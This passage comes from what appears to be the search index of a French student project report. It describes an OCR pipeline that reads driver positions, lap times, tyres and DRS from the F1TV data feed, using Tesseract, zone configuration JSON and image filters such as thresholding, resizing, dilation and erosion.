ensuite la r\u00e9utiliser pour tous les autres Grand Prix de l'ann\u00e9e. Le stockage est fait sous format JSON et est fait pour que le programme d'OCR puisse lire dedans toutes les infos nescessaires. Cela fait des fichiers plut\u00f4t gros mais je n'avais pas vraiment le choix. J'ai test\u00e9 une version avec seulement les infos de la premi\u00e8re zone de pilote mais avec l'interpolation, les derniers pilotes se retrouvent avec des zones clairement pas \u00e0 la bonne taille. Voici un exemple de ce \u00e0 quoi ressemble le JSON final : { \"Main\" : { \"x\" : 36 , \"y\" : 343 , \"width\" : 3780 , \"height\" : 1454 , \"DriverZones\" : [ { \"name\" : \"Driver1\" , \"x\" : 0 , \"y\" : 1 , \"width\" : 3780 , \"height\" : 72 , \"Windows\" : [ { \"Position\" : { \"x\" : 45 , \"y\" : 3 , \"width\" : 76 , \"height\" : 65 }, \"GapToLeader\" : { \"x\" : 447 , \"y\" : 1 , \"width\" : 206 , \"height\" : 67 }, \"LapTime\" : { \"x\" : 863 , \"y\" : 3 , \"width\" : 229 , \"height\" : 65 }, \"DRS\" : { \"x\" : 1095 , \"y\" : 1 , \"width\" : 174 , \"height\" : 67 }, \"Tyres\" : { \"x\" : 1274 , \"y\" : 3 , \"width\" : 1448 , \"height\" : 62 }, \"Name\" : { \"x\" : 2724 , \"y\" : 3 , \"width\" : 361 , \"height\" : 65 }, \"Sector1\" : { \"x\" : 3088 , \"y\" : 1 , \"width\" : 239 , \"height\" : 65 }, \"Sector2\" : { \"x\" : 3314 , \"y\" : 4 , \"width\" : 190 , \"height\" : 62 }, \"Sector3\" : { \"x\" : 3493 , \"y\" : 1 , \"width\" : 198 , \"height\" : 67 } } ] }, { \"name\" : \"Driver2\" , \"x\" : 0 , \"y\" : 72 , \"width\" : 3780 , \"height\" : 72 , \"Windows\" : [ { \"Position\" : { \"x\" : 45 , \"y\" : 3 , \"width\" : 76 , \"height\" : 65 }, \"GapToLeader\" : { \"x\" : 447 , \"y\" : 1 , \"width\" : 206 , \"height\" : 67 }, \"LapTime\" : { \"x\" : 863 , \"y\" : 3 , \"width\" : 229 , \"height\" : 65 }, \"DRS\" : { \"x\" : 1095 , \"y\" : 1 , \"width\" : 174 , \"height\" : 67 }, \"Tyres\" : { \"x\" : 1274 , \"y\" : 3 , \"width\" : 1448 , \"height\" : 62 }, \"Name\" : { \"x\" : 2724 , \"y\" : 3 , \"width\" : 361 , \"height\" : 65 }, \"Sector1\" : { \"x\" : 3088 , \"y\" : 1 , \"width\" : 239 , \"height\" : 65 }, \"Sector2\" : { \"x\" : 3314 , \"y\" : 4 , \"width\" : 190 , \"height\" : 62 }, \"Sector3\" : { \"x\" : 3493 , \"y\" : 1 , \"width\" : 198 , \"height\" : 67 } } ] } [ O t her pilo ts ... ] ], \"Drivers\" : [ \"Perez\" , \"Verstappen\" , \"Alonso\" , \"Sainz\" , \"Russel\" , \"Gasly\" , \"Leclerc\" , \"Ocon\" , \"Hulkenberg\" , \"Bottas\" , \"Hamilton\" , \"Albon\" , \"Tsunoda\" , \"Zhou\" , \"Stroll\" , \"De Vries\" , \"Magnussen\" , \"Norris\" , \"Piastri\" , \"Sargeant\" ] } } Et avec tout ca. L'OCR peut d\u00e9marrer dans de bonnes conditions","title":"Stockage"},{"location":"index.html#ocr_1","text":"Maintenant que on a des images qui arrivent automatiquement et que l'on sait ou se trouvent les informations sur ces dites images, je vais parler de la seconde partie du projet qui parle du processus de reconnaissance de data sur une image du feed DATA de la F1TV. C'est je pense la partie qui a demand\u00e9 le plus tests et de refactor. Toute la partie OCR a \u00e9t\u00e9 d\u00e9velopp\u00e9e dans un projet \u00e0 part avant d'\u00eatre int\u00e9gr\u00e9e dans le projet final. Il faut savoir que la reconnaissance est diff\u00e9rente celon ce que l'on cherche. Je vais donc d\u00e9composer cette partie du document en sous rubriques selon les donn\u00e9es recherch\u00e9es. Mais avant ca je dois expliquer certains concepts qui seront importants.","title":"OCR"},{"location":"index.html#fonctionnement-general_1","text":"Voici un screenshot de la page DATA de la F1TV que le programme va recevoir : \"Screen F1TV\" Si on regarde de loin on peut se dire que la structure est plut\u00f4t simple mais c'est loin d'\u00eatre le cas. On peut y voir au moins 4 zones contenant de l'information dans un format diff\u00e9rent. \"Zones principales\" Dans l'exemple ci dessus on peut voir 3 zones mais on aurait \u00e9galement pu comprendre la zone de position des pilotes autour du circuit pour faire 4. Ces 4 zones sont tr\u00e8s diff\u00e9rentes et contiennent d'autres informations. Pour ce travail de dipl\u00f4me je ne m'occupe que de la zone principale. Mais je pense que le titre et les infos de circuit ne prendrait pas tant de temps que ca \u00e0 impl\u00e9menter. J'ai utilis\u00e9 le mot \"Zone\" plus haut et ca n'est pas juste un mot utilis\u00e9 au hasard. C'est le nom de l'objet que j'utilise pour les repr\u00e9senter dans mon programme. Mais comme c'est important de bien comprendre ce concept avant de continuer je vais vous l'expliquer. ZONE : L'objet \"Zone\" parent est un objet qui est une zone d'image. Je m'explique, le but d'une zone est d'\u00eatre un morceau d'une image plus grande. Le but d'une Zone est de contenir une liste de plus petites Zones ou bien une liste de \"Window\" (j'explique ce que c'est juste apr\u00e8s). Elle contient la portion d'image qui la concerne et ses propres dimensions. Le parent zone ne pr\u00e9voit que de pouvoir ajouter ou supprimer des \u00e9l\u00e9ments des listes de zones ou de windows ainsi qu'une methode qui permet d'aller chercher toutes informations des livres qu'elle contient. L'int\u00e9r\u00eat d'une zone est de pouvoir compartimenter une image dans des parties int\u00e9ressantes au niveau de la reconnaissance mais pas de traiter d'information. WINDOW : L'objet \"Window\" est un objet qui peut ressembler beaucoup \u00e0 l'objet \"Zone\". En effet elle aussi est une partie d'une image plus grande et contient ses dimensions, mais elle se distingue en deux points importants. Elle ne contient pas d'autres Zones ou Windows Elle peut retourner les informations \u00e9crites sur son image. Toutes les Window qui h\u00e9ritent du parent Window peuvent impl\u00e9menter une methode qui permet de renvoyer ce qui peut \u00eatre d\u00e9cod\u00e9 sur son image. Les enfants peuvent aussi aller piocher dans les nombresues methodes de r\u00e9cup\u00e8ration de donn\u00e9es contenues dans le parent Window. Mieux vaut r\u00e9utiliser le plus possible que de r\u00e9inventer la roue pour chaque Window. Une analogie un peu bancale pourrait se pr\u00e9senter comme la suivante : La zone est une armoire ou une bibliot\u00e8que. Si c'est une zone qui contient d'autres zones c'est une bibliot\u00e8que et chacune de ces sous-zones sont des armoires. Leur unique but est de contenir de mani\u00e8re ordonn\u00e9e des objets qui eux contiennent de l'information. Les livres ici sont les Windows. Ils contiennet de l'information et sont stock\u00e9s dans des armoires et on y acc\u00e8de en allant dans la bonne bibliot\u00e8que et en allant dans la bonne armoire. Derni\u00e8res choses pour comprendre le diagramme: Il existe une Main Zone qui est une des 4 grandes zones dont je parlais dans la d\u00e9composition de l'image. Il existe aussi des \"Driver Zone\" qui sont de plus petites zones contenues dans la Main Zone qui et qui ne contiennent que les informations d'un pilote. L'objet Window n'est quasi jamais utilis\u00e9, c'est presque tout le temps des enfants de Window plus sp\u00e9cifiques qui sont utilis\u00e9s, le but est que chaque type d'information sur l'image aie son type de window. Voila donc un petit diagramme qui montre le d\u00e9coupage du programme : \"Diagramme explicatif de l'architecture des zones\" Pour visualiser encore un peu mieux comment ce d\u00e9coupage prend forme voici ce que chaque zone et Window contient. Main Zone : \"Exemple zone principale\" Driver Zone : \"Exemple zone de pilote\" Driver Position Window : \"Exemple de fen\u00eatre de position\" Driver name Window : \"Exemple de fen\u00eatre de nom\" Driver LapTime Window : \"Exemple de fen\u00eatre de temps au tour\" Driver Tyre Window : \"Exemple de fen\u00eatre pneus\" Il existe d'autres types de Window mais ce sont les principaux. On se rend assez facilement compte que chacunes de ces windows va avoir besoin d'un traitement sp\u00e9cifique car la mani\u00e8re de reconnaitre le pneu utilis\u00e9 et le temps au tour ne peut pas \u00eatre la m\u00eame. Pour r\u00e9sumer, on a un programme qui prend en entr\u00e9e un fichier de configuration, qui prend des images de la F1TV et les d\u00e9coupe dans des ZONES qui elles m\u00eame sont d\u00e9coup\u00e9es en WINDOWS pour qu'on puisse plus facilement les d\u00e9coder. Maintenant qu'on a une liste de diff\u00e9rent types de zones on peut commencer \u00e0 chercher ce qu'il y a marqu\u00e9 dessus. Pour cela il faut dabord comprendre un petit peu comment l'OCR fonctionne et comment des libraries comme Tesseract fonctionnent pour donner du texte en partant d'une image. Pour faire tr\u00e8s simple, nous avons un mod\u00e8le qui est entrain\u00e9. C'est \u00e0 dire que on donne \u00e0 un programme un tr\u00e8s grand nombre de mots ou de lettres en lui disant ce que contiennent chaques images. Ensuite le programme va cr\u00e9er des matrices de convolutions pour chaque lettre avec comme objectif de detecter les points communs entre les lettres pour cr\u00e9er un alpphabet. Par exemple la matric de la lettre 'H' donnerait un poids important \u00e0 des lignes verticales connect\u00e9es par une ligne centrale. Et si on fournis assez de donn\u00e9es de bonne qualit\u00e9 au mod\u00e8le, les matrices peuvent \u00eatre tr\u00e8s efficace \u00e0 detecter si une lettre est un H ou un M. Il y a pleins d'autres methodes comme l'utilisation d'un dictionnaire de mots de la langue pour permettre la reconnaissance de mots m\u00eame si une lettre au milieu n'est pas comprise ou en ajoutant d'autres informations sur le contexte mais ca ne nous int\u00e9resse pas ici. C'est important de comprendre comment cette reconnaissance de caract\u00e8res avec des matrices fonctionne car cela va nous aider \u00e0 pr\u00e9parer nos donn\u00e9es pour lui rendre la vie facile et augmenter la pr\u00e9cision de nos r\u00e9sultats.","title":"Fonctionnement g\u00e9n\u00e9ral"},{"location":"index.html#filtres-et-traitement","text":"On peut essayer de donner toutes nos images directement \u00e0 Tesseract pour qu'il reconnaisse tout le texte qu'il y voit mais on risque de se retrouver avec des r\u00e9sultats au mieux inconsistents. Dans notre cas, le soucis est que les chiffres et lettres sont beaucoup trop petits. Ils ne font parfoisd que 10 pixels de haut et cela fait que il n'est pas forc\u00e9ment facile de toujours les diff\u00e9rencier. De plus, comme ils sont petits, les art\u00e9facts d'aliasing sont assez violents et peuvent grandement d\u00e9former une lettre ou un chiffre. Exemple : Prenons le chiffre 9. Dans l'image il peut \u00eatre repr\u00e9sent\u00e9 de cette mani\u00e8re : \"Exemple de chiffre avant post traitement\" On peut voir qu'il est flou, pour nous cela ne pose pas de probl\u00e8me et je pense que \u00e0 peu pr\u00e8s nimporte qui peut dire que c'est un 9. Cependant comme les contours sont flous et m\u00eame si on essaie de retirer le background : \"9 avec anti aliasing\" On voit que le 9 n'est pas clairement d\u00e9finit. En effet on pourrait le comprendre comme : \"Premier exemple de contours\" Ou comme : \"Second exemple de contours\" Voire m\u00eame simplement comme : \"Exemple de coutour g\u00e9n\u00e9reux\" Et on se rend bien compte que les performances de detection ne sont pas les m\u00eames dans ces trois cas. Il faut donc faire un certain post traitement des images pour supprimer les \u00e9l\u00e9ments parasites, les couleurs, et augmenter la visibilit\u00e9 des contours importants. Mais chaque type de donn\u00e9e va avoir des methodes de post traitement diff\u00e9rents. Donc voici les diff\u00e9rents types de reconnaissance et leur post traitements :","title":"Filtres et traitement"},{"location":"index.html#texte","text":"Alors ce type de reconnaissance est utilis\u00e9 par la WINDOW du nom de pilote et de la position du pilote. C'est je pense la plus simple de toutes car Tesseract est particuli\u00e8rement bien entrain\u00e9 pour. Cette reconnaissance concerne donc des lettres qui font des mots ou des noms. Voici un exemple de la WINDOW nom de pilote en entr\u00e9e : \"Exemple texte cru\" Ce texte peut paraitre bon, cependant quand on le lance dans Tesseract, il ne va pas toujours donner un r\u00e9sultat parfait. Il faut aussi savoir qu'il y a des noms pas mal plus p\u00e9nibles que Tesseract a plus de mal \u00e0 reconnaitres, soit \u00e0 cause des lettres utilis\u00e9es, soit car le nom est un nom d'une autre r\u00e9gion et qui ne veut rien dire en anglais ce qui emp\u00eache l'utilisation de dictionnaire (Ex : Tsunoda est un nom japonais et parfois il est difficile pour Tesseract de le reconnaitre car si une lettre pose probl\u00eame il ne peut pas trouver de contexte qui puisse l'aider). Donc pour le rendre plus facilement lisible et augmenter les chances que toutes les lettres soient d\u00e9couvertes, voici les \u00e9tapes que j'ai mis en place. 1 : J'inverse les couleurs. Je me suis rendu compte que il \u00e9tait souvent plus facile de trouver un noir sur blanc que blanc sur noir. Je ne suis pas sur que cette \u00e9tape soit capitale cependant. \"Texte invers\u00e9\" 2 : Je fais un Treshhold de 165 car avec moins le texte parfois prend trop du background et avec plus les lettres sont trop fines. \"Texte apr\u00e8s Treshold\" 3 : Je fais un Resize de l'image pour avoir une meilleure r\u00e9solution et permettre une meilleure d\u00e9tection. J'augmente la hauteur et la largeur par un facteur 2. J'ai trouv\u00e9 cette valeur suffisante et aller plus haut consomme beaucoup de ressources. \"Texte apr\u00e8s Resize\" 4: Je fais une tr\u00e8s rapide Dilatation du texte pour retirer le flou amen\u00e9 par la methode de Resize. Je n'utilise qu'une valeur de 1 car je ne veux pas trop changer comment le texte est model\u00e9 je veux juste retirer le flou. \"Texte apr\u00e8s Dilatation\" Explication des methodes pr\u00e9cises plus bas Voila pour ce qui est du post processing. Je ne dis pas que ce sont les meilleurs param\u00eatres possibles mais dans mes tests ce sont ceux qui ont le mieux march\u00e9s. C'est aussi les premi\u00e8res methodes que j'ai pu d\u00e9velopper alors forc\u00e9ment elles n'ont pas le niveau de d\u00e9tails de certaines autres. Mais comme m\u00eame avec ce traitement il n'est pas rare que je me retrouve avec une ou deux lettres pas justes, il faut un moyen d'\u00eatre s\u00fbr que c'est le bon nom qui est trouv\u00e9. Ce qu'il y a de pratique avec les noms de pilotes c'est que on sait d\u00e9ja comment ils s'appellent avant le Grand Prix. En effet dans le fichier de configuration de la reconnaissance, il y a une liste de noms de pilotes. Cela veut dire que au lieu de chercher \u00e0 trouver parfaitement les bonnes lettres, on peut simplement essayer de trouver quel nom de pilote ressemble le plus au nom trouv\u00e9 sur l'image. Pour ce faire j'ai utilis\u00e9 une methode appel\u00e9e la distance de Levenshtein. Pour faire simple c'est une methode qui va calculer les distances de lettres pour determiner entre des strings laquelle ressemble le plus \u00e0 une autre. Pour r\u00e9sumer le fonctionnement dans lordre : On prend l'image on la traite On envoie l'image trait\u00e9e \u00e0 Tesseract On trouve quel nom de pilote ressemble le plus \u00e0 ce r\u00e9sultat On renvoie le nom du pilote","title":"Texte"},{"location":"index.html#chiffres","text":"Cette methode en r\u00e9alit\u00e9 utilise simplement la m\u00eame methode que celle qui va r\u00e9cup\u00e8rer le texte sur une image. Cependant, la, on envoie \u00e0 Tesseract l'information qu'il ne peut trouver que des chiffres sur l'image ce qui lui permet d'\u00eatre beaucoup plus pr\u00e9cis et de ne pas confondre un 9 avec un P ou un 11 avec un H PAR EXEMPLE (non pas que ca me soit arriv\u00e9 tr\u00e8s r\u00e9guli\u00e8rement et que ca me soit rest\u00e9 dans la gorge \u00e9videmment) L'avantage c'est que cette methode ne demande m\u00eame pas de traitement de la donn\u00e9e en sortie de Tesseract. On \u00e9sp\u00e8re simplement que le post traitement aura suffit. TEMPS : Cette methode regroupe la d\u00e9tection de temps au tour. Il y a trois grands types de WINDOW qui sont concern\u00e9es : La WINDOW du temps au tour La WINDOW du retard sur le leader La WINDOW des secteurs La grande diff\u00e9rence ce sont les ordres de grandeur. Les temps au tour sont en g\u00e9n\u00e9ral entre 50 secondes et 2 minutes. Tandis que les secteurs sont entre 20 et 30 secondes alors que le retard sur le leader peut-\u00eatre de plusieurs minutes. Cependant, tous ces temps poss\u00e8dent le m\u00eame type de post-traitement avant d'\u00eatre envoy\u00e9s \u00e0 Tesseract. Voici un exemple de temps au tour avant toute transformation : \"Temps au tour avant traitement\" On peut avoir l'impression que ce texte est tout \u00e0 fait lisible et facile \u00e0 d\u00e9coder surtout quand on le voit de loin comme ca. Cependant, il faut imaginer que ces chiffres font 13 pixels de haut en comptant le flou et comme expliqu\u00e9 plus haut ce flou dans ces echelles est terrible. \"Temps au tour zoom\u00e9\" Si on donne cette image \u00e0 Tesseract, les '3' deviennent des '9', des '9' deviennent des '8', des '2' deviennent eux aussi des '9', le tout parfois inversement et de mani\u00e8re compl\u00eatement impr\u00e9visible. Ca n'est simplement pas utilisable. Cette partie est un peu plus complexe car si la detection n'est pas fiable les chiffres sont simplement inutilisables. Si \u00e0 tout moment un temps au tour de 1:39.106 devient 1:32.108 c'est juste pas possible. Voici donc les \u00e9tapes de post-traitement que j'ai mis en place pour leur d\u00e9tection : 1: J'applique un Treshold de 185 pour enlever les ambiguit\u00e9s d'alisaising et avoir une image en noir et blanc claire. La valeur de 185 est assez \u00e9lev\u00e9e car le but est de vraiment garder uniquement les contours. Comme les chiffres se ressemlent beaucoup plu que les lettres, il faut tenter le plus possible de conserver leur formes sp\u00e9cifiques. Je me suis rendu compte que cette valeur \u00e9tait une de celles qui marchent le mieux. \"Temps au tour apr\u00e8s Treshold\" 2: J'applique un Resize de 2 pour augmenter la r\u00e9solution des chiffres et permettre une meilleure d\u00e9tection. Le but est d'avoir plus de pixels et donc de permettre \u00e0 Tesseract de mieux utiliser ses matrices de convolution. \"Temps au tour apr\u00e8s Resize\" 3: Comme le Resize am\u00e8ne du flou, j'utilise une methode de Dilatation qui me permet de retirer ce flou et de remplir un peu plus certaines parties qui ont \u00e9t\u00e9 un peu laiss\u00e9e par le Resize ; \"Temps au tour apr\u00e8s Dilatation\" 4: Contrairement aux mots plus haut, la rondeur ajout\u00e9e par la dilatation n'est pas vraiment d\u00e9sir\u00e9e. En effet, elle peut rendre confuse certains chiffres et emp\u00eacher Tesseract de bien trouver le chiffre. Alors j'applique une Erosion qui me permet de contrecarrer en partie les rondeurs ajout\u00e9es par la dilatation et retrouver des chiffres bien form\u00e9es. Pour l' Erosion et la Dilatation j'ai utilis\u00e9 une valeur de 1 car je ne voulais pas trop changer les chiffres. \"Temps au tour apr\u00e8s Erosion\" Explication des methodes pr\u00e9cises plus bas Et avec ce post processing on retrouve de plut\u00f4ts bon r\u00e9sultats qui demandent peu de traitement. Le traitement d\u00e9pend du type de WINDOW cependant. Pour les secteurs on indique \u00e0 Tesseract que les caract\u00e8res autoris\u00e9s sont : \"0123456789.\" Pour les temps au tour on autorise plut\u00f4t \"0123456789.:\" Et pour les \u00e9carts on autorise \"0123456789.+\" Ensuite on r\u00e9cup\u00e8re une liste de chiffres qui'il va falloir transformer en milisecondes pour faciliter le stockage et l'envoi. Le programme nettoie un peu la chaine avant de la convertir. Par exemple parfois le ':' de 1:34.456 est compris comme un '1' ou un '2' et il faut faire attention \u00e0 detecter quand ca arriver. Je passe les d\u00e9tails du reste du nettoyage car c'est vraiment du cas par cas mais quand on a finit de nettoyer la chaine on peut transformer les chaines de minutes secondes et milisecondes en un total de milisecondes. Pour r\u00e9sumer le fonctionnement dans l'ordre : On prend l'image et on lui applique une s\u00e9rie de filtres On envoie l'image filtr\u00e9e \u00e0 Tesseract On nettoie le r\u00e9sultat Tesseract pour compenser certains biais On convertis le r\u00e9sultat en milisecondes","title":"Chiffres"},{"location":"index.html#les-chiffres-2","text":"Il faut savoir que avec la derni\u00e8re version de l'\u00e9mulateur (dont je vais parler un peu plus tard)","title":"les chiffres (2)"},{"location":"index.html#pneus","text":"La on arrive sur la partie la plus p\u00e9nible. Pour comprendre la probl\u00e9matique il faut d'abord faire un petit point sur comment les pneus fonctionnent en Formule 1. Depuis 2019 en Formule 1 nous avons 5 grandes familles de pneus : Les pneus tendres Les pneus medium Les pneus durs Les pneus interm\u00e9diaires Les pneus pluie \"Gamme de pneus Pirelli\" Les trois premiers pneus sont des pneus faits pour piste s\u00e8che, le pneu interm\u00e9diaire pour piste humide et le neu pluie pour la pluie. Chaque pneu a sa dur\u00e9e de vie et son niveau de performance propre mais je ne vais pas rentrer dans le d\u00e9tail ici. Tout ce qu'il faut savoir ce que savoir sur quel pneu chaque pilote est et depuis combien de temps il les chausse est une information tr\u00e8s importante. Chaque pneu a une couleur donn\u00e9e qui permet de les diff\u00e9rencier. Voici un exemple de ce \u00e0 quoi une WINDOW de pneus peut ressembler : \"Exemple zone pneus 1\" Mais cette zone peut aussi ressembler \u00e0 ca : \"Exemple zone pneus 2\" Mais aussi \u00e0 ca : \"Exemple zone pneus 3\" Voire m\u00eame ca : \"Exemple zone pneus 4\" Je pense que vous pouvez tout de suite comprendre la difficult\u00e9 que repr\u00e9sente la t\u00e2che de r\u00e9cup\u00e8ration de donn\u00e9es \u00e0 partir de cette image. En gros le fonctionnement de cette zone d'information est assez simple. Au fur et \u00e0 mesure que la course avance, le trait fait de m\u00eame. Le chiffre dans le round tout \u00e0 droite indique le nombre de tour que le pilote a pass\u00e9 sur ce pneu. La couleur indique le type de pneu. Si il y a une lettre \u00e0 la place d'un chiffre c'est que c'est le premier tour sur ce pneu. La lettre indique le type de pneu. Et pas besoin de dire que si on essaie simplement de donner l'image \u00e0 Tesseract on ne r\u00e9cup\u00e8re ni les chiffres ni les lettres correctement si ce n'est pas du tout. Il faut donc utiliser une methode qui permette d'isoler le rond le plus \u00e0 droite, lui appliquer un traitement qui permette \u00e0 Tesseract de lire ce qu'il y a marqu\u00e9 et qui puisse determiner quel pneu est en train d'\u00eatre utilis\u00e9. J'ai d\u00e9cid\u00e9 de m'occuper dans un premier temps de trouver ce rond avant d'appliquer les filtres car plus l'image est petite plus les filtres sont rapides. Le programme va tirer un trait depuis le bord droit de la zone, et il va avancer vers la gauche jusqu'\u00e0 trouver un obstacle. Je d\u00e9tecte un obstacle si le pixel sur lequel est mon trait poss\u00e8de une valeur de plus de 0x50 dans le channel R,G ou B. J'ai trouv\u00e9 en faisant des tests que les couleurs de background de la F1TV ne d\u00e9passaient jamais ces valeurs. Ensuite apr\u00e8s avoir trouv\u00e9 le premier obstacle, je r\u00e9cup\u00e8re une zone qui doit englober le cercle. Voici un exemple avec cette image en entr\u00e9e : \"Zone compl\u00eate\" Elle est automatiquement coup\u00e9e de cette facon : \"Zone coup\u00e9e automatiquement\" Cela me permet d'isoler uniquement ce qui m'int\u00e9resse ce qui est tr\u00e8s pratique pour Tesseract et pour la detection de couleur. Ensuite avec cette image je peux commencer le processus de reconnaissance. Je commence par faire une moyenne de tous les pixels de l'image en excluant les pixels trop sombres qui font s\u00fbrement partie du background ou du chiffre. Ensuite j'utilise une methode qui calcule la diff\u00e9rence entre la couleur obbtenue et la liste de couleurs possible. Il y a cinq couleurs des pneus possibles : \"#ff0000\" pneu tendre/soft \"Couleur d'un pneu tendre\" \"#f5bf00\" pneu medium \"Couleur d'un pneu medium\" \"#a4a5a8\" pneu dur/hard \"Couleur d'un pneu dur\" \"#00a42e\" pneu inter \"Couleur d'un pneu interm\u00e9diaire\" \"#2760a6\" pneu pluie/wet \"Couleur d'un pneu pluie\" Ce qui est pratique c'est que m\u00eame dans les cas ou il n'y a pas beaucoup de couleur comme celui la : \"Pneu dur avec 0 tours\" On arrive \u00e0 une couleur moyenne de : \"Couleur moyenne de l'image ci dessus apr\u00e8s soustraction du background\" Et il est donc assez facile de determiner le type de pneu en question. Attention, les r\u00e9sultats peuvent \u00eatre tr\u00e8s vite d\u00e9rang\u00e9s par la couleur du pneu pr\u00e9c\u00e9dent si le d\u00e9coupage de la fen\u00eatre n'a pas \u00e9t\u00e9 assez pr\u00e9cis. Ensuite il \"suffit\" de lire le chiffre dans le rond et si on arrive pas \u00e0 le lire alors c'est que c'est une lettre et on sait que le nombre de tours est donc de 0. Maintenant vient le moment tr\u00e8s sympatique de la lecture du chiffre. Vous saurez que Tesseract en plus de detester les grandes images et les images avec des couleurs, deteste \u00e9galement les formes dans une image. Donc dans notre cas, le round de couleur autour du chiffre, m\u00eame si il n'est pas complet, il interf\u00e8re avec la reconnaissance et emp\u00eache de bien lire le chiffre. Il faut donc retirer le background et ensuite la couleur. Sauf que comme le chiffre est de la couleur du background, si on retire le background et ensuite la couleur il ne reste plus rien. Il faut donc retirer le background AUTOUR du rond, et ensuite si on retire la couleur il devrait rester le chiffre sur fond blanc. Pour se faire, j'ai tir\u00e9 des traits depuis les bords de l'image jusqu'\u00e0 ce qu'ils rencontrent le rond. Ensuite je retire tous les pixels entre le rond et les bords de l'image ce qui nous donne ceci : \"Zone pneu avec le background en moins\" Ensuite on peu retirer les pixels qui ont une valeur dans un channel RGB plus haute qu'un certain seuil : \"Zone avec le reste des couleurs supprimm\u00e9es\" Et la on a ce que l'on veut ! A partir de la c'est les filtres que l'on connait qui sont utilis\u00e9s pour en faire une image plus facile \u00e0 utiliser par Tesseract. 1 : On effectue un Resize de facteur 4 (oui c'est beaucoup mais en m\u00eame temps le chiffre est vraiment petit \u00e0 la base) qui permet d'avoir une image d'une bien meilleure r\u00e9solution. \"Filtre 1\" 2: On fait une Dilatation de facteur 1 pour retirer tout le flou de l'image pour aider Tesseract \"Resultat\" Et on a un chiffre qui est utilisable par Tesseract ! Explication des methodes pr\u00e9cises plus bas Pour r\u00e9sumer : On prend l'image de la zone et on la crop pour ne garder que la partie essentielle On d\u00e9termine le type de pneu avec la couleur moyenne de la zone On retire le background autour de cette zone On retire la couleur qui reste pour ne garder que le chiffre On augmente la r\u00e9solution du chiffre On rend ce chiffre net On envoie l'image trait\u00e9e et filtr\u00e9e \u00e0 Tesseract On d\u00e9termine le nombre de tours que le pilote a fait avec ses pneus avec le r\u00e9sultat de Tesseract","title":"Pneus"},{"location":"index.html#drs","text":"Bon ca c'\u00e9tait plut\u00f4t simple j'ai simplement v\u00e9rifi\u00e9 si la moyenne de vert d\u00e9passait une certaine valeur et puis voila.","title":"DRS"},{"location":"index.html#filtres-et-methodes-sur-les-images","text":"Dans ce projet on a du utiliser diff\u00e9rentes methodes d'\u00e9dition d'image que ce soit sous forme de filtres ou de modification de l'image directement. Voici un sommaire des methodes utilis\u00e9es et comment elles fonctionnent. Tresholding Cette methode sert \u00e0 passer d'une image en couleurs \u00e0 une image binaire noir blanc. C'est une \u00e9tape tr\u00e8s importante pour l'OCR car elle permet (si bien faite) d'isoler du texte de son background. Un exemple ici : \"Exemple treshold\" Le fonctionnement est assez simple mais il peut \u00eatre fait de diff\u00e9rentes mani\u00e8res mais dans mon cas voici comment l'algorythme fonctionne sachant qu'il demande en entr\u00e9e la Bitmap que l'on veut modifier ainsi que la valeur de Treshold : On parcours chaque pixel de l'image On convertir la couleur du pixel en une valeur de gris pour avoir la m\u00eame valeur en R,G et B (Formule utilis\u00e9e : grey = R x 0.3 + G x 0.59 + B x 0.11) Si le r\u00e9sultat de la valeur de gris est au dessus de la valeur de treshold, le pixel est pass\u00e9 en blanc complet et dans le cas contraire il est pass\u00e9 en noir complet On retourne la Bitmap modifi\u00e9e Un algorythme pas forc\u00e9ment complexe mais qui peut augmenter de mani\u00e8re titanesque les chances de r\u00e9ussir une OCR Resize Cette methode sert \u00e0 augmenter la r\u00e9solution d'une image pour am\u00e9liorer la pr\u00e9cision de l'algorythme de Tesseract. En effet, avec trop peu de pixels, la matrice de convolution n'est pas toujours aussi efficace. Il ne faut pas confondre cette methode d'augmentation de la taille avec une simple interpolation. En effet une augmentation de taille interpol\u00e9e ne vas pas vraiment changer la r\u00e9solution, l'image sera toujours aussi pixelis\u00e9e, seulement, les pixels seront compos\u00e9es de plus de pixels comme dans l'exemple ci dessous : \"Exemple d'interpolation lin\u00e9aire\" Dans mon projet j'utilise de l'interpolation bicubique qui va cr\u00e9er de l'information pour tenter de combler le vide et produire une image r\u00e9ellement plus grande et avec plus de details mais en ajoutant du flou. \"Exemple des diff\u00e9rents types d'interpolation\" Le but est d'aller chercher dans les pixels alentours les couleurs qui sont d\u00e9ja pr\u00e9sente et de jouer avec des poids pour tenter de faire une pr\u00e9diction de ce que ce pixel aurait \u00e9t\u00e9 si l'image avait plus de detail. Voici un exemple assez parlant : \"Exemple interpolation bicubique (avant)\" \"Exemple interpolation bicubique (apr\u00e8s)\" On pourrait croire que c'est inutile mais dans le contexte de Tesseract ajouter des d\u00e9tails pour tenter de simuler une meilleure r\u00e9solution m\u00eame en cr\u00e9ant du flou est int\u00e9ressant pour mieux remplir la matrice de convolution. Mais il est possible de r\u00e9duire ce flou avec d'autres m\u00e9thodes \u00e9galement. (Dans mon code je n'ai pas utilis\u00e9 du code fait main mais j'utilise une librairie qui me permet de le faire) Il faut simplement faire attention car c'est un proc\u00e9d\u00e9 assez lourd en performances. Dilatation et Erosion Cette methode et la suivante font partie des methodes de transformation morphologiques. Ces methodes sont utilis\u00e9es pour accentuer les formes et les epaissir ou les r\u00e9duire et les affiner. Elles poss\u00e8dent l'aventage \u00e9galement de retirer le flou d'une image ce qui est tr\u00e8s pratique si utilis\u00e9 apr\u00e8s l'utilisation de methodes comme Resize . Je ne vais pas trop rentrer dans les d\u00e9tails de ces methodes car leur fonctionnement est un peu plus lourd en math si on veut faire une v\u00e9ritable explication du pourquoi et du comment ca marche aussi bien. Pour notre projet je dirais que l'important est de savoir que ce sont deux outils tr\u00e8s pratiques pour changer la morphologie des lettres et des chiffres et qu'on peut les utiliser pour corriger du flou et/ou des art\u00e9facts apparus lors de la binarisation de l'image ou de la suppression de fond. Remove Background Cette methode est assez simple et est juste une methode qui va passer en revue tous les pixels de l'image et si la couleur d'un pixel s'apparente \u00e0 celle d'un pixel de fond il est pass\u00e9 en noir total ou en blanc total. Le but est de permettre au reste du programme de fonctionner avec des couleurs moins ambigues. Une variante sp\u00e9cialis\u00e9e pour la reconnaissance des pneus appel\u00e9e affectueusement Remove Useless cherche \u00e0 atteindre le m\u00eame bu mais est bien plus soffistiqu\u00e9e et sp\u00e9cialis\u00e9e pour retirer le background autour d'un cercle de couleur pour ensuite retirer la couleur et qu'il ne reste qu'un chiffre. Pour plus de details voir la detection de pneus. Il y aussi d'autre methodes comme un filtre Gaussien ou Highlight countour que j'ai du d\u00e9velopper mais que je n'ai pas utilis\u00e9 donc je ne vais pas en parler ici.","title":"Filtres et methodes sur les images"},{"location":"index.html#petit-point-resolution","text":"Comme on peut 